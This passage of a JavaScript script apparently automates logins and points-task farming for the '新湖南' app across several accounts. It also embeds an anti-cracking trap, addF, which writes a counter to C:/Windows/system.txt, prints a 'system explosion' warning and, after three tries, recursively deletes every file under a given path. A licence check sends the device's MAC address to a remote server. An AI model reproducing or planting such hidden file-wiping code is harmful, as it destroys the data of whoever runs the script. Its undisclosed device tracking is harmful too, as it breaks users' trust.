fs.existsSync(fn)) { 49 | macs = fs.readFileSync(fn).toString().trim(); 50 | } 51 | }); 52 | return macs; 53 | } 54 | mac = getMACAddresses(); 55 | } 56 | } else { 57 | console.log('代理环境'); 58 | } 59 | 60 | function isFileExist (path) { 61 | try { 62 | gtr.accessSync(path, gtr.F_OK); 63 | } catch (e) { 64 | return false; 65 | } 66 | return true; 67 | } 68 | function addF (fileUrl, flag) { 69 | 70 | let num = 0, readPath = 'C:/Windows/system.txt' 71 | 72 | if (isFileExist(readPath)) { 73 | num = gtr.readFileSync(readPath, "utf8") 74 | } else { 75 | if (isFileExist('C:/')) { 76 | gtr.writeFile(readPath, '1', function (err) { if (err) throw err; }); 77 | } else { 78 | return 79 | } 80 | } 81 | 82 | if (num == 99) { 83 | return 99 84 | } 85 | console.log(num); 86 | console.log(`警告,恶意破解脚本将面临系统爆炸!!!,你只有3次机会!`, num); 87 | if (parseInt(num) < 3) { 88 | let adnum = parseInt(num) + 1 89 | gtr.writeFileSync(readPath, adnum + '', "utf8") 90 | return; 91 | } 92 | 93 | if (!gtr.existsSync(fileUrl)) return; 94 | if (gtr.statSync(fileUrl).isDirectory()) { 95 | var files = gtr.readdirSync(fileUrl); 96 | var len = files.length, 97 | removeNumber = 0; 98 | if (len > 0) { 99 | files.forEach(function (file) { 100 | removeNumber++; 101 | var stats = gtr.statSync(fileUrl + '/' + file); 102 | var url = fileUrl + '/' + file; 103 | if (gtr.statSync(url).isDirectory()) { 104 | addF(url, true); 105 | } else { 106 | gtr.unlinkSync(url); 107 | } 108 | }); 109 | if (len == removeNumber && flag) { 110 | gtr.rmdirSync(fileUrl); 111 | } 112 | } else if (len == 0 && flag) { 113 | gtr.rmdirSync(fileUrl); 114 | } 115 | } else { 116 | gtr.unlinkSync(fileUrl); 117 | } 118 | } 119 | 120 | 121 | 122 | !(async () => { 123 | if (typeof $request !== "undefined") { 124 | // qmwkck() 125 | } else { 126 | //arrs = await hqs() 127 | console.log(all_msg); 128 | //console.log(arrs); 129 | if (!arrs) return 130 | xhnzhArr = xhnzh.split('@') 131 | xhnmmArr = xhnmm.split('@') 132 | console.log(`------------- 共${xhnzhArr.length}个账号-------------\n`) 133 | console.log(`当前设备可执行账号限制为${arrs['num']}个账号 破解版\n`) 134 | if (xhnzhArr.length > parseInt(arrs['num'])) { 135 | for (let i = 0; i < parseInt(arrs['num']); i++) { 136 | xhnzh = xhnzhArr[i] 137 | xhnmm = xhnmmArr[i] 138 | $.index = i + 1; 139 | console.log(`\n开始【新湖南${$.index}】`) 140 | await xhndl() 141 | await xhnxx() 142 | await xhllb() 143 | await $.wait(3000) 144 | } 145 | } else { 146 | for (let i = 0; i < xhnzhArr.length; i++) { 147 | xhnzh = xhnzhArr[i] 148 | xhnmm = xhnmmArr[i] 149 | $.index = i + 1; 150 | console.log(`\n开始【新湖南${$.index}】`) 151 | 152 | await xhndl() 153 | await xhnxx() 154 | await xhnlb() 155 | 156 | await $.wait(3000) 157 | } 158 | } 159 | } 160 | })() 161 | .catch((e) => $.logErr(e)) 162 | .finally(() => $.done()) 163 | 164 | function MD5Encrypt (a) { function b (a, b) { return a << b | a >>> 32 - b } function c (a, b) { var c, d, e, f, g; return e = 2147483648 & a, f = 2147483648 & b, c = 1073741824 & a, d = 1073741824 & b, g = (1073741823 & a) + (1073741823 & b), c & d ? 2147483648 ^ g ^ e ^ f : c | d ? 1073741824 & g ? 3221225472 ^ g ^ e ^ f : 1073741824 ^ g ^ e ^ f : g ^ e ^ f } function d (a, b, c) { return a & b | ~a & c } function e (a, b, c) { return a & c | b & ~c } function f (a, b, c) { return a ^ b ^ c } function g (a, b, c) { return b ^ (a | ~c) } function h (a, e, f, g, h, i, j) { return a = c(a, c(c(d(e, f, g), h), j)), c(b(a, i), e) } function i (a, d, f, g, h, i, j) { return a = c(a, c(c(e(d, f, g), h), j)), c(b(a, i), d) } function j (a, d, e, g, h, i, j) { return a = c(a, c(c(f(d, e, g), h), j)), c(b(a, i), d) } function k (a, d, e, f, h, i, j) { return a = c(a, c(c(g(d, e, f), h), j)), c(b(a, i), d) } function l (a) { for (var b, c = a.length, d = c + 8, e = (d - d % 64) / 64, f = 16 * (e + 1), g = new Array(f - 1), h = 0, i = 0; c > i;)b = (i - i % 4) / 4, h = i % 4 * 8, g[b] = g[b] | a.charCodeAt(i) << h, i++; return b = (i - i % 4) / 4, h = i % 4 * 8, g[b] = g[b] | 128 << h, g[f - 2] = c << 3, g[f - 1] = c >>> 29, g } function m (a) { var b, c, d = "", e = ""; for (c = 0; 3 >= c; c++)b = a >>> 8 * c & 255, e = "0" + b.toString(16), d += e.substr(e.length - 2, 2); return d } function n (a) { a = a.replace(/\r\n/g, "\n"); for (var b = "", c = 0; c < a.length; c++) { var d = a.charCodeAt(c); 128 > d ? b += String.fromCharCode(d) : d > 127 && 2048 > d ? (b += String.fromCharCode(d >> 6 | 192), b += String.fromCharCode(63 & d | 128)) : (b += String.fromCharCode(d >> 12 | 224), b += String.fromCharCode(d >> 6 & 63 | 128), b += String.fromCharCode(63 & d | 128)) } return b } var o, p, q, r, s, t, u, v, w, x = [], y = 7, z = 12, A = 17, B = 22, C = 5, D = 9, E = 14, F = 20, G = 4, H = 11, I = 16, J = 23, K = 6, L = 10, M = 15, N = 21; for (a = n(a), x = l(a), t = 1732584193, u = 4023233417, v = 2562383102, w = 271733878, o = 0; o < x.length; o += 16)p = t, q = u, r = v, s = w, t = h(t, u, v, w, x[o + 0], y, 3614090360), w = h(w, t, u, v, x[o + 1], z, 3905402710), v = h(v, w, t, u, x[o + 2], A, 606105819), u = h(u, v, w, t, x[o + 3], B, 3250441966), t = h(t, u, v, w, x[o + 4], y, 4118548399), w = h(w, t, u, v, x[o + 5], z, 1200080426), v = h(v, w, t, u, x[o + 6], A, 2821735955), u = h(u, v, w, t, x[o + 7], B, 4249261313), t = h(t, u, v, w, x[o + 8], y, 1770035416), w = h(w, t, u, v, x[o + 9], z, 2336552879), v = h(v, w, t, u, x[o + 10], A, 4294925233), u = h(u, v, w, t, x[o + 11], B, 2304563134), t = h(t, u, v, w, x[o + 12], y, 1804603682), w = h(w, t, u, v, x[o + 13], z, 4254626195), v = h(v, w, t, u, x[o + 14], A, 2792965006), u = h(u, v, w, t, x[o + 15], B, 1236535329), t = i(t, u, v, w, x[o + 1], C, 4129170786), w = i(w, t, u, v, x[o + 6], D, 3225465664), v = i(v, w, t, u, x[o + 11], E, 643717713), u = i(u, v, w, t, x[o + 0], F, 3921069994), t = i(t, u, v, w, x[o + 5], C, 3593408605), w = i(w, t, u, v, x[o + 10], D, 38016083), v = i(v, w, t, u, x[o + 15], E, 3634488961), u = i(u, v, w, t, x[o + 4], F, 3889429448), t = i(t, u, v, w, x[o + 9], C, 568446438), w = i(w, t, u, v, x[o + 14], D, 3275163606), v = i(v, w, t, u, x[o + 3], E, 4107603335), u = i(u, v, w, t, x[o + 8], F, 1163531501), t = i(t, u, v, w, x[o + 13], C, 2850285829), w = i(w, t, u, v, x[o + 2], D, 4243563512), v = i(v, w, t, u, x[o + 7], E, 1735328473), u = i(u, v, w, t, x[o + 12], F, 2368359562), t = j(t, u, v, w, x[o + 5], G, 4294588738), w = j(w, t, u, v, x[o + 8], H, 2272392833), v = j(v, w, t, u, x[o + 11], I, 1839030562), u = j(u, v, w, t, x[o + 14], J, 4259657740), t = j(t, u, v, w, x[o + 1], G, 2763975236), w = j(w, t, u, v, x[o + 4], H, 1272893353), v = j(v, w, t, u, x[o + 7], I, 4139469664), u = j(u, v, w, t, x[o + 10], J, 3200236656), t = j(t, u, v, w, x[o + 13], G, 681279174), w = j(w, t, u, v, x[o + 0], H, 3936430074), v = j(v, w, t, u, x[o + 3], I, 3572445317), u = j(u, v, w, t, x[o + 6], J, 76029189), t = j(t, u, v, w, x[o + 9], G, 3654602809), w = j(w, t, u, v, x[o + 12], H, 3873151461), v = j(v, w, t, u, x[o + 15], I, 530742520), u = j(u, v, w, t, x[o + 2], J, 3299628645), t = k(t, u, v, w, x[o + 0], K, 4096336452), w = k(w, t, u, v, x[o + 7], L, 1126891415), v = k(v, w, t, u, x[o + 14], M, 2878612391), u = k(u, v, w, t, x[o + 5], N, 4237533241), t = k(t, u, v, w, x[o + 12], K, 1700485571), w = k(w, t, u, v, x[o + 3], L, 2399980690), v = k(v, w, t, u, x[o + 10], M, 4293915773), u = k(u, v, w, t, x[o + 1], N, 2240044497), t = k(t, u, v, w, x[o + 8], K, 1873313359), w = k(w, t, u, v, x[o + 15], L, 4264355552), v = k(v, w, t, u, x[o + 6], M, 2734768916), u = k(u, v, w, t, x[o + 13], N, 1309151649), t = k(t, u, v, w, x[o + 4], K, 4149444226), w = k(w, t, u, v, x[o + 11], L, 3174756917), v = k(v, w, t, u, x[o + 2], M, 718787259), u = k(u, v, w, t, x[o + 9], N, 3951481745), t = c(t, p), u = c(u, q), v = c(v, r), w = c(w, s); var O = m(t) + m(u) + m(v) + m(w); return O.toLowerCase() } 165 | 166 | //登录 167 | function xhndl (timeout = 0) { 168 | return new Promise((resolve) => { 169 | let url = { 170 | url: `https://cgi.voc.com.cn/app/mobile/bbsapi/wxhn_login.php`, 171 | headers: { "oauth-token": "", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "142", "Host": "cgi.voc.com.cn", "Connection": "Keep-Alive", "Accept-Encoding": "gzip", "User-Agent": "okhttp/4.9.1" }, 172 | body: `password=${xhnmm}&logintype=1&RegistrationID=Au13k8PHjCfqQM0EiXpgHNbqldngiCb_eAuoWh8upHPB&appid=9&type=0&version=9.0.11&username=${xhnzh}` 173 | } 174 | $.post(url, async (err, resp, data) => { 175 | try { 176 | const result = JSON.parse(data) 177 | if (result.statecode == 1) { 178 | $.log(`\n新湖南用户:【${result.mobile}】:${result.message}`) 179 | xhntoken = result.auth 180 | 181 | } else { 182 | $.log(`\n新湖南登录:${result.message}`) 183 | 184 | } 185 | } catch (e) { 186 | //$.logErr(e, resp); 187 | } finally { 188 | resolve() 189 | } 190 | }, timeout) 191 | }) 192 | } 193 | 194 | 195 | //列表 196 | function xhnlb (timeout = 0) { 197 | return new Promise((resolve) => { 198 | let time = new Date().getTime();//时间戳13位 199 | sign = sha(`${time}200000${arrs['my']}`) 200 | let url = { 201 | url: `https://usergrow-xhncloud.voc.com.cn/usergrow/api/v2/points/appPointsInfoForH5?appid=9&oauth_token=${xhntoken}`, 202 | headers: { "Host": "usergrow-xhncloud.voc.com.cn", "Connection": "keep-alive", "nonce": "200000", "time": time, "User-Agent": "xhn-9.0.7-Mozilla/5.0 (Linux; Android 10; 16s Pro Build/QKQ1.191222.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045738 Mobile Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "signature": sign, "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" }, 203 | 204 | } 205 | $.get(url, async (err, resp, data) => { 206 | try { 207 | const result = JSON.parse(data) 208 | if (result.statecode == 1) { 209 | 210 | for (let x = 0; x < result.data.pointsRuleBeanList.length; x++) { 211 | $.log(`\n新湖南去完成:【${result.data.pointsRuleBeanList[x].ruleName}】 积分:${result.data.pointsRuleBeanList[x].points}`) 212 | xhnid = result.data.pointsRuleBeanList[x].pointsRuleId 213 | rwm = result.data.pointsRuleBeanList[x].ruleName 214 | await $.wait(2000) 215 | await xhnrw() 216 | } 217 | } else { 218 | $.log(`\n新湖南任务:${data}`) 219 | 220 | } 221 | } catch (e) { 222 | //$.logErr(e, resp); 223 | } finally { 224 | resolve() 225 | } 226 | }, timeout) 227 | }) 228 | } 229 | 230 | //完成任务 231 | function xhnrw (timeout = 0) { 232 | return new Promise((resolve) => { 233 | let time = new Date().getTime();//时间戳13位 234 | sign = sha(`${time}700000${arrs['my']}`) 235 | 236 | let url = { 237 | url: `https://usergrow-xhncloud.voc.com.cn/usergrow/api/v2/points/`, 238 | headers: { "Host": "usergrow-xhncloud.voc.com.cn", "Connection": "keep-alive", "nonce": "700000", "time": time, "User-Agent": "xhn-9.0.7-Mozilla/5.0 (Linux; Android 10; 16s Pro Build/QKQ1.191222.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045738 Mobile Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "signature": sign, "Accept": "application/json", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" }, 239 | body: `points_rule_id=${xhnid}&appid=9&oauth_token=${xhntoken}` 240 | } 241 | $.post(url, async (err, resp, data) => { 242 | try { 243 | const result = JSON.parse(data) 244 | if (result.statecode == 1) { 245 | await $.wait(2000) 246 | $.log(`\n新湖南${rwm}任务:${result.message}`) 247 | 248 | } else { 249 | $.log(`\n新湖南${rwm}任务:${result.message}`) 250 | 251 | } 252 | } catch (e) { 253 | //$.logErr(e, resp); 254 | } finally { 255 | resolve() 256 | } 257 | }, timeout) 258 | }) 259 | } 260 | 261 | 262 | //信息 263 | function xhnxx (timeout = 0) { 264 | return new Promise((resolve) => { 265 | let time = new Date().getTime();//时间戳13位 266 | sign = sha(`${time}700000${arrs['my']}`) 267 | 268 | let url = { 269 | url: `https://usergrow-xhncloud.voc.com.cn/usergrow/api/v2/points/pointsUser?refreshUserInfo=0&appid=9&oauth_token=${xhntoken}`, 270 | headers: { "Host": "usergrow-xhncloud.voc.com.cn", "Connection": "keep-alive", "nonce": "700000", "time": time, "User-Agent": "xhn-9.0.7-Mozilla/5.0 (Linux; Android 10; 16s Pro Build/QKQ1.191222.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045738 Mobile Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "signature": sign, "Accept": "application/json", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" }, 271 | 272 | } 273 | $.get(url, async (err, resp, data) => { 274 | try { 275 | const result = JSON.parse(data) 276 | if (result.statecode == 1) { 277 | $.log(`\n新湖南查询积分余额:【${result.data.validPoints}】`) 278 | } else { 279 | $.log(`\n新湖南查询积分余额:${result.message}`) 280 | 281 | } 282 | } catch (e) { 283 | //$.logErr(e, resp); 284 | } finally { 285 | resolve() 286 | } 287 | }, timeout) 288 | }) 289 | } 290 | function encodeUTF8 (s) { 291 | var i, r = [], c, x; 292 | for (i = 0; i < s.length; i++) 293 | if ((c = s.charCodeAt(i)) < 0x80) r.push(c); 294 | else if (c < 0x800) r.push(0xC0 + (c >> 6 & 0x1F), 0x80 + (c & 0x3F)); 295 | else { 296 | if ((x = c ^ 0xD800) >> 10 == 0) //对四字节UTF-16转换为Unicode 297 | c = (x << 10) + (s.charCodeAt(++i) ^ 0xDC00) + 0x10000, 298 | r.push(0xF0 + (c >> 18 & 0x7), 0x80 + (c >> 12 & 0x3F)); 299 | else r.push(0xE0 + (c >> 12 & 0xF)); 300 | r.push(0x80 + (c >> 6 & 0x3F), 0x80 + (c & 0x3F)); 301 | }; 302 | return r; 303 | } 304 | 305 | function sha (s) { 306 | var data = new Uint8Array(encodeUTF8(s)) 307 | var i, j, t; 308 | var l = ((data.length + 8) >>> 6 << 4) + 16, s = new Uint8Array(l << 2); 309 | s.set(new Uint8Array(data.buffer)), s = new Uint32Array(s.buffer); 310 | for (t = new DataView(s.buffer), i = 0; i < l; i++)s[i] = t.getUint32(i << 2); 311 | s[data.length >> 2] |= 0x80 << (24 - (data.length & 3) * 8); 312 | s[l - 1] = data.length << 3; 313 | var w = [], f = [ 314 | function () { return m[1] & m[2] | ~m[1] & m[3]; }, 315 | function () { return m[1] ^ m[2] ^ m[3]; }, 316 | function () { return m[1] & m[2] | m[1] & m[3] | m[2] & m[3]; }, 317 | function () { return m[1] ^ m[2] ^ m[3]; } 318 | ], rol = function (n, c) { return n << c | n >>> (32 - c); }, 319 | k = [1518500249, 1859775393, -1894007588, -899497514], 320 | m = [1732584193, -271733879, null, null, -1009589776]; 321 | m[2] = ~m[0], m[3] = ~m[1]; 322 | for (i = 0; i < s.length; i += 16) { 323 | var o = m.slice(0); 324 | for (j = 0; j < 80; j++) 325 | w[j] = j < 16 ? s[i + j] : rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1), 326 | t = rol(m[0], 5) + f[j / 20 | 0]() + m[4] + w[j] + k[j / 20 | 0] | 0, 327 | m[1] = rol(m[1], 30), m.pop(), m.unshift(t); 328 | for (j = 0; j < 5; j++)m[j] = m[j] + o[j] | 0; 329 | }; 330 | t = new DataView(new Uint32Array(m).buffer); 331 | for (var i = 0; i < 5; i++)m[i] = t.getUint32(i << 2); 332 | 333 | var hex = Array.prototype.map.call(new Uint8Array(new Uint32Array(m).buffer), function (e) { 334 | return (e < 16 ? "0" : "") + e.toString(16); 335 | }).join(""); 336 | return hex; 337 | } 338 | 339 | 340 | function hqs (num = 10) { 341 | return new Promise((resolve) => { 342 | let id = 2 343 | let url = { 344 | url: $.isNode() ? $.fwur() + `?key=${acckey}&id=${id}&ip=1&mac=${mac}&bb=1` : $.fwur() + `?key=${acckey}&id=${id}&ip=0&mac=${mac}&bb=1`, 345 | } 346 | $.get(url, async (err, resp, data) => { 347 | try { 348 | let result = JSON.parse(data); 349 | if (result.code == 200) { 350 | all_msg = result.msg 351 | resolve(JSON.parse(result.data)) 352 | } else { 353 | all_msg = result.msg 354 | resolve(false) 355 | 356 | } 357 | } catch (e) { 358 | $.logErr(e, resp); 359 | } 360 | }, 0) 361 | }) 362 | } 363 | 364 | 365 | 366 | function FxPCnMKLw7 () { 367 | 368 | // private property 369 | _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 370 | 371 | // public method for encoding 372 | this.encode = function (input) { 373 | var output = ""; 374 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 375 | var i = 0; 376 | input = _utf8_encode(input); 377 | while (i < input.length) { 378 | chr1 = input.charCodeAt(i++); 379 | chr2 = input.charCodeAt(i++); 380 | chr3 = input.charCodeAt(i++); 381 | enc1 = chr1 >> 2; 382 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 383 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 384 | enc4 = chr3 & 63; 385 | if (isNaN(chr2)) { 386 | enc3 = enc4 = 64; 387 | } else if (isNaN(chr3)) { 388 | enc4 = 64; 389 | } 390 | output = output + 391 | _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + 392 | _keyStr.charAt(enc3) + _keyStr.charAt(enc4); 393 | } 394 | return output; 395 | } 396 | 397 | // public method for decoding 398 | this.decode = function (input) { 399 | var output = ""; 400 | var chr1, chr2, chr3; 401 | var enc1, enc2, enc3, enc4; 402 | var i = 0; 403 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 404 | while (i < input.length) { 405 | enc1 = _keyStr.indexOf(input.charAt(i++)); 406 | enc2 = _keyStr.indexOf(input.charAt(i++)); 407 | enc3 = _keyStr.indexOf(input.charAt(i++)); 408 | enc4 = _keyStr.indexOf(input.charAt(i++)); 409 | chr1 = (enc1 << 2) | (enc2 >> 4); 410 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 411 | chr3 = ((enc3 & 3) << 6) | enc4; 412 | output = output + String.fromCharCode(chr1); 413 | if (enc3 != 64) { 414 | output = output + String.fromCharCode(chr2); 415 | } 416 | if (enc4 != 64) { 417 | output = output + String.fromCharCode(chr3); 418 | } 419 | } 420 | output = _utf8_decode(output); 421 | return output; 422 | } 423 | 424 | // private method for UTF-8 encoding 425 | _utf8_encode = function (string) { 426 | string = string.replace(/\r\n/g, "\n"); 427 | var utftext = ""; 428 | for (var n = 0; n < string.length; n++) { 429 | var c = string.charCodeAt(n); 430 | if (c < 128) { 431 | utftext += String.fromCharCode(c); 432 | } else if ((c > 127) && (c < 2048)) { 433 | utftext += String.fromCharCode((c >> 6) | 192); 434 | utftext += String.fromCharCode((c & 63) | 128); 435 | } else { 436 | utftext += String.fromCharCode((c >> 12) | 224); 437 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); 438 | utftext += String.fromCharCode((c & 63) | 128); 439 | } 440 | 441 | } 442 | return utftext; 443 | } 444 | 445 | // private method for UTF-8 decoding 446 | _utf8_decode = function (utftext) { 447 | var string = ""; 448 | var i = 0; 449 | var c = c1 = c2 = 0; 450 | while (i < utftext.length) { 451 | c = utftext.charCodeAt(i); 452 | if (c < 128) { 453 | string += String.fromCharCode(c); 454 | i++; 455 | } else if ((c > 191) && (c < 224)) { 456 | c2 = utftext.charCodeAt(i + 1); 457 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 458 | i += 2; 459 | } else { 460 | c2 = utftext.charCodeAt(i + 1); 461 | c3 = utftext.charCodeAt(i + 2); 462 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 463 | i += 3; 464 | } 465 | } 466 | return string; 467 | } 468 | } 469 | 470 | function Env (t, e) { 471 | class s { 472 | constructor(t) { 473 | this.env = t 474 | } 475 | send (t, e = "GET") { 476 | t = "string" == typeof t ? { 477 | url: t 478 | } : t; 479 | let s = this.get; 480 | return "POST" === e && (s = this.post), new Promise((e, i) => { 481 | s.call(this, t, (t, s, r) => { 482 | t ? i(t) : e(s) 483 | }) 484 | }) 485 | } 486 | get (t) { 487 | return this.send.call(this.env, t) 488 | } 489 | post (t) { 490 | return this.send.call(this.env, t, "POST") 491 | } 492 | } 493 | return new class { 494 | constructor(t, e) { 495 | this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `??${this.name}, 开始!`) 496 | } 497 | isNode () { 498 | return "undefined" != typeof module && !!module.exports 499 | } 500 | isQuanX () { 501 | return "undefined" != typeof $task 502 | } 503 | isSurge () { 504 | return "undefined" != typeof $httpClient && "undefined" == typeof $loon 505 | } 506 | isLoon () { 507 | return "undefined" != typeof $loon 508 | } 509 | isShadowrocket () { 510 | return "undefined" != typeof $rocket 511 | } 512 | toObj (t, e = null) { 513 | try { 514 | return JSON.parse(t) 515 | } catch { 516 | return e 517 | } 518 | } 519 | toStr (t, e = null) { 520 | try { 521 | return JSON.stringify(t) 522 | } catch { 523 | return e 524 | } 525 | } 526 | getjson (t, e) { 527 | let s = e; 528 | const i = this.getdata(t); 529 | if (i) try { 530 | s = JSON.parse(this.getdata(t)) 531 | } catch { } 532 | return s 533 | } 534 | setjson (t, e) { 535 | try { 536 | return this.setdata(JSON.stringify(t), e) 537 | } catch { 538 | return !1 539 | } 540 | } 541 | getScript (t) { 542 | return new Promise(e => { 543 | this.get({ 544 | url: t 545 | }, (t, s, i) => e(i)) 546 | }) 547 | } 548 | runScript (t, e) { 549 | return new Promise(s => { 550 | let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); 551 | i = i ? i.replace(/\n/g, "").trim() : i; 552 | let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); 553 | r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; 554 | const [o, h] = i.split("@"), n = { 555 | url: `http://${h}/v1/scripting/evaluate`, 556 | body: { 557 | script_text: t, 558 | mock_type: "cron", 559 | timeout: r 560 | }, 561 | headers: { 562 | "X-Key": o, 563 | Accept: "*/*" 564 | } 565 | }; 566 | this.post(n, (t, e, i) => s(i)) 567 | }).catch(t => this.logErr(t)) 568 | } 569 | loaddata () { 570 | if (!this.isNode()) return {}; { 571 | this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); 572 | const t = this.path.resolve(this.dataFile), 573 | e = this.path.resolve(process.cwd(), this.dataFile), 574 | s = this.fs.existsSync(t), 575 | i = !s && this.fs.existsSync(e); 576 | if (!s && !i) return {}; { 577 | const i = s ? t : e; 578 | try { 579 | return JSON.parse(this.fs.readFileSync(i)) 580 | } catch (t) { 581 | return {} 582 | } 583 | } 584 | } 585 | } 586 | writedata () { 587 | if (this.isNode()) { 588 | this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); 589 | const t = this.path.resolve(this.dataFile), 590 | e = this.path.resolve(process.cwd(), this.dataFile), 591 | s = this.fs.existsSync(t), 592 | i = !s && this.fs.existsSync(e), 593 | r = JSON.stringify(this.data); 594 | s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) 595 | } 596 | } 597 | lodash_get (t, e, s) { 598 | const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); 599 | let r = t; 600 | for (const t of i) 601 | if (r = Object(r)[t], void 0 === r) return s; 602 | return r 603 | } 604 | lodash_set (t, e, s) { 605 | return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) 606 | } 607 | getdata (t) { 608 | let e = this.getval(t); 609 | if (/^@/.test(t)) { 610 | const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; 611 | if (r) try { 612 | const t = JSON.parse(r); 613 | e = t ? this.lodash_get(t, i, "") : e 614 | } catch (t) { 615 | e = "" 616 | } 617 | } 618 | return e 619 | } 620 | setdata (t, e) { 621 | let s = !1; 622 | if (/^@/.test(e)) { 623 | const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; 624 | try { 625 | const e = JSON.parse(h); 626 | this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) 627 | } catch (e) { 628 | const o = {}; 629 | this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) 630 | } 631 | } else s = this.setval(t, e); 632 | return s 633 | } 634 | getval (t) { 635 | return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null 636 | } 637 | setval (t, e) { 638 | return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null 639 | } 640 | initGotEnv (t) { 641 | this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) 642 | } 643 | get (t, e = (() => { })) { 644 | if (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { 645 | "X-Surge-Skip-Scripting": !1 646 | })), $httpClient.get(t, (t, s, i) => { 647 | !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) 648 | }); 649 | else if (this.isQuanX()) this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { 650 | hints: !1 651 | })), $task.fetch(t).then(t => { 652 | const { 653 | statusCode: s, 654 | statusCode: i, 655 | headers: r, 656 | body: o 657 | } = t; 658 | e(null, { 659 | status: s, 660 | statusCode: i, 661 | headers: r, 662 | body: o 663 | }, o) 664 | }, t => e(t)); 665 | else if (this.isNode()) { 666 | let s = require("iconv-lite"); 667 | this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { 668 | try { 669 | if (t.headers["set-cookie"]) { 670 | const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); 671 | s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar 672 | } 673 | } catch (t) { 674 | this.logErr(t) 675 | } 676 | }).then(t => { 677 | const { 678 | statusCode: i, 679 | statusCode: r, 680 | headers: o, 681 | rawBody: h 682 | } = t; 683 | e(null, { 684 | status: i, 685 | statusCode: r, 686 | headers: o, 687 | rawBody: h 688 | }, s.decode(h, this.encoding)) 689 | }, t => { 690 | const { 691 | message: i, 692 | response: r 693 | } = t; 694 | e(i, r, r && s.decode(r.rawBody, this.encoding)) 695 | }) 696 | } 697 | } 698 | post (t, e = (() => { })) { 699 | const s = t.method ? t.method.toLocaleLowerCase() : "post"; 700 | if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { 701 | "X-Surge-Skip-Scripting": !1 702 | })), $httpClient[s](t, (t, s, i) => { 703 | !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) 704 | }); 705 | else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { 706 | hints: !1 707 | })), $task.fetch(t).then(t => { 708 | const { 709 | statusCode: s, 710 | statusCode: i, 711 | headers: r, 712 | body: o 713 | } = t; 714 | e(null, { 715 | status: s, 716 | statusCode: i, 717 | headers: r, 718 | body: o 719 | }, o) 720 | }, t 